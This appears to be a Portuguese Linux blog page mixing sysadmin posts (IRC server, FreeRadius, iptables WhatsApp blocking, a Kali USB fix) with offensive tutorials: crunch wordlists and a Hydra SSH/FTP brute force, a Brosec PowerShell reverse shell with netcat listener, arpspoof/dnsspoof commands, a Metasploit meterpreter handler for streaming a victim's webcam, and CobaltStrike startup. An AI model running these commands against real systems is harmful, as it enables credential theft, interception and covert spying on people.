Linux em Geral

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Solução para o erro “Nenhuma unidade de CD-ROM comum foi detectada” Kali linux

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Boas Users!

 

Diante do erro “Nenhuma unidade de CD-ROM comum foi detectada” a resolução é:

erro kali

 

1– esse erro ocorre geralmente, com pendrive.

2– ao aparecer essa tela de erro, retire o pendrive e coloque novamente e pressione enter.

3– se o erro permanecer, retire o pendrive novamente, sem desligar ou reiniciar o computador.

4– se estiver no windows, use o Daemon Tools para emular a ISO (se for windows 10 ele ja emula dando um duplo clique na ISO), formate o pendrive clicando com botão direito, e depois copie os arquivos de dentro da ISO para o pendrive, ao terminar, plugue novamente no computador que está sendo instalado o kali, e pressione enter novamente.

5–  se estiver no linux, Primeiro acesse o terminal como root:

su

Agora vamos acessar o /media:

# cd /media

E então crie um diretório onde deverá ser armazenado a nossa ISO:

# mkdir /diretorio_ISO

Agora é fácil montar a imagem .ISO, basta usar o comando abaixo. O comando “mount” que irá montar o nome da sua imagem ISO sem as aspas, o local onde está seu diretório para armazenar a ISO, o parâmetro “-o” como opção de montar tudo no fstab e o loop que executa o mount até o fim da ISO:

# mount “sua_Imagem.iso” /media/diretorio_ISO -o loop

 

 

By user777

Gerando wordlist com crunch (kali linux)

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Boas Users!

Aproveitando o belíssimo post do nosso amigo Thiago, sobre ataque de força bruta com o Hydra, vou mostrar como gerar sua própria wordlist.

“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”

 

Parâmetros do crunch:

$ sudo crunch 4 6 1234567890 -o /diretório/arquivo.lst

sudo= Permissão de super usuário

crunch= Gerador de wordlist

4= Mínimo de caracteres

6= Máximo de caracteres

1234567890= Números a serem gerados em ordens aleatória

-o= Faz com que em vez de serem apresentado no monitor os resultados dos nossos comandos, estes são escritos num ficheiro adicionados pelo parâmetro.

/diretório= Local onde será salvo o arquivo

$ sudo crunch 9 9 1234567890 -t maria@@@@ -o /diretório/arquivo.lst

-t= Inseri uma patente e modifica como entendermos. Sabemos que uma password é composta de um nome, neste caso maria mas de seguida é inserido 4 dígitos que não sabemos.

$ sudo crunch 9 9 1234567890 -t @@@@maria -o /diretório/arquivo.lst

Podemos inverter também, a sintaxe “maria@@@@”

$ sudo crunch 4 8 -f /usr/share/crunch/charset.lst mixalpha -o /diretório/arquivo.txt

Veja que nesse parâmetro do crunch, apliquei uma geração com o “charset”, uma wordlist ja pré-determinada, como “mixalpha” (letras maiúsculas e minúsculas).

Aqui foram alguns dos comandos e parâmetros do crunch, saiba mais aqui.

 

By user777

Hydra – Brute Force – Realizando pequeno ataque de força bruta.

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Bom , neste pequeno Artigo vamos entender de forma básica o funcionamento do Hydra.
Para isso, me conectei ao meu kali linux de forma remota na porta ssh e procedi com todos os passos usados para se fazer um ataque de brute force, lembrando que o fato de estar conectado via ssh não me impede de usar os programas que rodam em modo terminal, impediria de usar os pacotes que necessitem de uma interface gráfica para tal.
Bom, é importante ressaltar que estou usando um ambiente de testes, o “host alvo” é de minha propriedade e este post serve apenas paras fins de analise e estudo, não fazendo apologia a invasão. Também não me responsabilizarei por eventuais danos causados a terceiros pelo uso incorreto dessa ferramenta..

 

Aqui temos a versão do Kali que estou rodando.

Bom, o Hydra como muitos conhecem é um programa open source disponibilizado nativamente no Kali Linux, tendo também o codigo fonte disponível para download no repositório oficial do projeto. E quanto a instalação do pacote, esta não será abordada nestas minhas pequenas linhas de raciocinio.

Quem quiser saber mais sobre o Hydra pode diretamente no terminal rodar o man do programa, bastando para isso…

root@love:~# man hydra

Ele dará todas as informações necessárias para que você o conheça melhor, podendo assim planejar e executar diferentes ataques.

Neste exemplo usei como alvo uma Routerboard 433AH rodando Router OS e com usuário previamente cadastrado. Falando em hydra, é sempre interessante ter, pelo menos, o nome de usuário que será usado durante o ataque.
A senha cadastrada foi incluída no nosso arquivo de senhas, qual será usado pelo hydra para realizar os testes de login e assim verificar o password correto.

Bom, vamos ao que realmente interessa. De posse do seu Terminal, crie um arquivo onde você possa inserir prováveis senhas(veja, estamos trabalhando com prováveis senhas , aquelas que imaginamos ser usadas pelo usuario vitima do ataque.) para que possamos realizar nosso pequeno e singelo ataque.
No Terminal, crie então um arquivo, o nome pode ser qualquer um.

root@love:~# nano pass.txt

Neste arquivo insira as senhas, caso use uma lista pre definida.

 

Após termos nossa base de dados de password já pronta, vamos então verificar quais serviços o nosso host vitima está rodando, quais portas estão abertas e que possam ser testadas pelo Hydra.

root@love:~# nmap -v 10.2.2.1

Constatada as portas abertas, podemos prosseguir com nosso propósito, atacar e obter o password.
Então, vamos invocar o Hydra de forma a usar o arquivo “pass.txt” como base para as senhas.

root@love:~# hydra -l kali -P pass.txt 10.2.2.1 ssh


Explicando a linha:
Hydra: invocamos o programa a ser executado, no caso obviamente o Hydra.
O menos L minusculo “-l” especifica login(vide man hydra).
Kali= Nome do usuário a ser testado (como disse acima, user previamente cadastrador por mim)
O “-P” maiúsculo especifica um arquivo contendo senhas, caso fosse “-p” minúsculo poderíamos especificar somente um password por vez.
Pass.txt é obviamente nosso arquivo com as passwords.
10.2.2.1 é o host alvo do ataque e o SSH no final da linha indica o serviço(porta) a ser testada.

Feito isso, basta correr o comando, damos {Enter} e aguardamos que os testes se concluam. Dependendo do tamanho do seu arquivo de senhas e da complexidade isso pode demorar muito tempo… 😉

Olha, que lindo, aqui já podemos ver que o Hydra encontrou o password do usuário Kali. Isso após alguns segundos somente.

Vamos fazer um teste via ssh?

Pronto, conectado…!
Realmente funciona, e realmente da para fazer ataques de níveis bem diferentes deste, por exemplo, caso eu quisesse testar também uma serie de senhas para o protocolo(serviço ftp) bastava a mim mudar ou especificar no fim da linha onde invoco o Hydra o serviço, para um ftp teríamos:

 

root@love:~# hydra -l kali -P passftp.txt 10.2.2.1 ftp

Bom amigos, por hoje e só por hoje é só! Hehe
O hydra é um velho companheiro, e se vocẽ quiser realmente aprender sobre ele não se esqueça de ler a man do programa, não existe tutorial/artigo que se compare a qualidade das informações disponíveis lá.

Invadindo com Power Shell kali Linux

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Boas Users!

Vou demonstrar mais uma vulnerabilidade “sistemas Windows”

“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”

 

Comandos Utilizados:

# apt-get install npm build-essential g++ xsel
# npm install -g n
# npm config set registry http://registry.npmjs.org/
# n latest
# git clone https://github.com/gabemarshall/Brosec.git

git clone = Faz o download do Brosec

# cd Brosec && npm install

cd Brosec && npm install = Entra no diretório Brosec e instala p npm

# ./bros

./bros = Iniciando o script

# set LHOST (seu IP)

LHOST = IP do atacante

# set LPORT 4444

LPORT = Porta utilizada

# 5

5 = Miscellaneos que significa “Variado”

# 1

1 = Reverse shell

# 4

4 = Reverse Shell PSH

# N

N = “Não” “Should I start a tcp listener on port for you”

# netcat -lnp 4444 -vv

Iniciando o serviço

 

Fonte: https://github.com/gabemarshall/Brosec

 

By user777

 

 

 

 

Criando Servidor IRC no Kali Linux “InspiRCD”

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Boas Users!

Vamos instalar o InspIRCd no kali

1- Basta abrir o terminal e inserir o seguinte comando;

#apt-get install inspircd

2-  Agora à configuração. Para tal vamos abrir o ficheiro /etc/inspircd/inspircd.conf onde devem realizar as seguintes configurações:

OBS: usarei o editor de texto “vi”, você poderá usar o editor de texto de seu gosto.

#vi /etc/inspircd/inspircd.conf

Ao nível do servidor, devem alterar os seguintes dados:

Server name
Description
Network

Configure de acordo com suas informações.

Captura de tela de 2016-07-21 00-25-10
3- Ao nível da administração,  devem  alterar os seguintes dados de acordo com a conta que pretendam criar.
Admin
Nick
Email
Captura de tela de 2016-07-21 00-25-30
4- Em termos de servidor, devem também indicar a partir de qual endereço é que o mesmo está disponível. No exemplo da imagem seguinte, consideramos o endereço 177.154.11.100 e porta 6667.
Captura de tela de 2016-07-21 00-25-50
5- O próximo passo é definir uma password  necessária para parar ou reiniciar o serviço.
Captura de tela de 2016-07-21 00-26-19
6- Vamos agora criar um conta de operador. Para tal basta procurarem pela linha que começa por <oper name=…, dentro do ficheiro de configuração.
Captura de tela de 2016-07-21 00-26-46
7- salve o arquivo e iniciei o serviço usando o comando
#service inspircd start

Estas são as configurações mínimas para que o InspIRCd funcione. No entanto há muitos outros parâmetros que podem ser consultados aqui.

DnsSpoof e ArpSpoof kali Linux

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Boas Users!

Vamos falar um pouco hoje de dnsspoof e arpspoof,  técnica utilizada em redes cabeadas e wireless que permite ao atacante capturar informações

Comandos:

# arpspoof -i eth0 -t 192.168.1.119 -r 192.168.1.120
# dnsspoof -i eth0
# dnsspoof -i eth0 -f dns.txt

Isso foi uma pequena demostração  do que o dnsspoof e arpspoof é capaz de fazer.

 

By user777

 

 

Invadindo Webcam conectada no windows com “Kali Linux”

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Boas Users!

Reforçando>> “Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”

Hoje Iremos abordar como acessar, Webcam conectada a um S.O windows com o kali linux, lembrando que o video ja mostra logado no “msfconsole”, quem não sabe como fazer os passos anteriores, por favor acessem esse link que mostro como fazer.

 

Comandos usados no acesso;

use exploit/multi/handler

use exploit/multi/handler= Carregando módulo a ser usado

set payload windows/meterpreter/reverse_tcp

set payload windows/meterpreter/reverse_tcp= método utilizado

set lhost

set lhost= inserir o ip do kali

set lport

set lport= inserir a porta a ser utilizada

exploit

exploit = execução do backdoor

webcam_list

webcam_list= mostra se tem alguma webcam conectada

webcam_list

webcam_stream= abre a webcam remota, localmente

 

By user777

 

Configurando Servidor FreeRadius + Mysql para PPPOE no Mikrotik(Parte 1)

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Fala meus bons e amados irmãos de guerra, hoje vamos ver em simples passos como criar um um servidor de Radius para autenticação de usuários do mikrotik em pppoe no servidor Mysql.

 

Basicamente a estrutura se resume no seguinte.
* Essa RB ai é só pra descrever o que usei.
Rb com 5 portas, rodando RouterOs 5.25

Turnkey linux 14 baseado no Debian Jessie 8

Freeradius + Mysql
Na nossa routerboard temos 5 portas, usaremos apenas 3, uma para comunicação com o servidor radius, uma para rede de clientes e uma para conexão com a internet.

O Cenário é basicamente esse abaixo:

Radius

RB – Porta Ether1 > 10.2.2.13/28 (Internet)

RB – Porta Ether3 > 10.1.1.1/24 (Conexão com o Freeradius)

RB – Porta Ether5 > 10.2.3.1 (Com pool para Clientes PPPoE)

Linux Server – eth0 : 10.1.1.10/24

Cliente 10.2.3.150 (Endereço Já entregue pelo PPPoE após discar)

Bom, o procedimento é bem simples como descrito no vídeo, que embora um pouco longo é bem satisfatório.

 

 

Bom, basicamente é isso. O restante do conteúdo pode ser visto no vídeo.

Abraços, e vamos a parte 2

Estará disponível AQUI

 

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Bloqueio Seletivo Whatsapp usando Iptables

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Olá, meu nome é Thiago Ferreira e sou um dos colaboradores do PrefiroLinux, hoje mostrarei como podemos executar um bloqueio seletivo  de whatsapp e facebook usando apenas o iptables. Muito útil em ambientes onde se usa proxy transparente e não há  a possibilidade exectuar os devidos bloqueios e liberação pelas ACL’s do squid.
Aqui faremos de uma forma simples que requer apenas o conhecimento dos ips a serem bloqueados , estes se tratando da rede interna. E os ips que serão liberados, no caso apresentado os ips de nível publico.
Aqui deixo o script de forma bem simples, comentada e bem apresentado, inclusive com a notação de que cada comando fará, como o iptables tratará as regras básicas descritas.
Esse conteúdo originalmente foi incluído em minhas rotinas de bloqueio por volta de junho de 2015, após pesquisas feitas principalmente no linuxquestions.org e adaptado as minhas necessidades. Então, para futuras duvidas e buscas a base de busca deve ser o linuxquestions.
Sendo que aqui no nosso fórum temos o devido espaço para quaisquer esclarecimentos, vide;
http://forum.prefirolinux.com

As linhas são auto explicativas,  os comentários devem permanecer com o “#” antes das linhas que não são parte do script afim de evitar quaisquer erro de leitura do bash.

Criem os arquivos, bloqueio_seletivo, ipsliberados e ipsinterno

$nano /usr/share/bloqueio_seletivo
e dentro dele insira o seguinte script


Na lista de ipsliberados entre com os ips disponiveis no proprio site do whatsapp: https://www.whatsapp.com/cidr.txt .
Basta adicionar a lista a um arquivos em “/usr/share” :
$nano /usr/share/ipsliberados
Como exemplo, poderiamos ter uma serie de ips nessa ordem:

31.13.58.55
31.55.44.77
178.88.14.100

Adicione os ips, e crie um novo arquivo para inserirmos os ips da rede interna:

$nano /usr/share/ipsinterno

Em ipsinterno insiram os ips da sua rede, lembrando de seguir a seguinte regra.
Ips que serão bloqueados devem conter o “#” antes, pois o cut fará a leitura levando em consideração que esses são os unicos que devem ser tratados.
#10.10.10.44
#10.10.10.24
10.10.10.8
No caso acima, somente os dois primeiros serão bloqueados de acessar os serviços dos “ipsliberados”,  o “10.10.10.8” terá total acesso ao trafego.

Caso deseje, liste apenas os ips permitidos, sem a necessidade de usar o “#” antes do ip, ficando assim:
10.10.10.55
10.10.10.22

Aqui um exemplo do script limpo e sem comentarios…

Lembrem-se, leia todo o conteúdo do post inclusive do script para melhor entendimento.
Suporte no forum do prefirolinux.
Boa diversão

 

 

Invadindo com CobaltStrike ( kali Linux )

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Boas Users!

Hoje irei mostrar como acessar um computador “windows” com o CobaltStrike

“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”

Comandos utilizados:

$ cd

cd= Navegar entre os diretórios

$ sudo ./teamserver 127.0.0.1 123456

sudo= Permissão de super usuário

./teamserver= Iniciando servidor do cobalt strike

127.0.0.1= IP LoopBack

123456= Senha

$ sudo ./cobaltstrike

./cobaltstrike= Iniciando o cobaltstrike

 

Fonte:

https://www.cobaltstrike.com/features

Softwares usados:

CobaltStrike

Toycon

Resource Hacker

 

By user777